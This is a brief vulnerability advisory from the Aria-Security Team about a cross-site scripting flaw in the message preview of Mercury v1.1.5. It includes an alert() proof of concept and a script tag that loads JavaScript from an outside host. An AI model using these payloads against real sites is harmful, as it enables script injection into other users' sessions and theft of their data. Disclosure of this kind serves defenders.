Aria-Security Team (Persian Security Network)

http://Aria-Security.Net

---------------------------------------------

Greetz: Aura, imm02tal, iM4n, Mormoroth,

Mercury v1.1.5 Send Message Cross-Site Scripting


In order to make this vuln work you need to place your code in the "message 
text" area and press preview   



Examples:

<script src=http://Aria-Security.net/test.js></script>

<script>alert('Aria-Security Team')</script>


Regards,

The-0utl4w

Aria-Security.Net

(Credits Goes To Aria-Security Team)


----------------------------

More Info @ http://forum.aria-security.net/forumdisplay.php?f=60

Reply via email to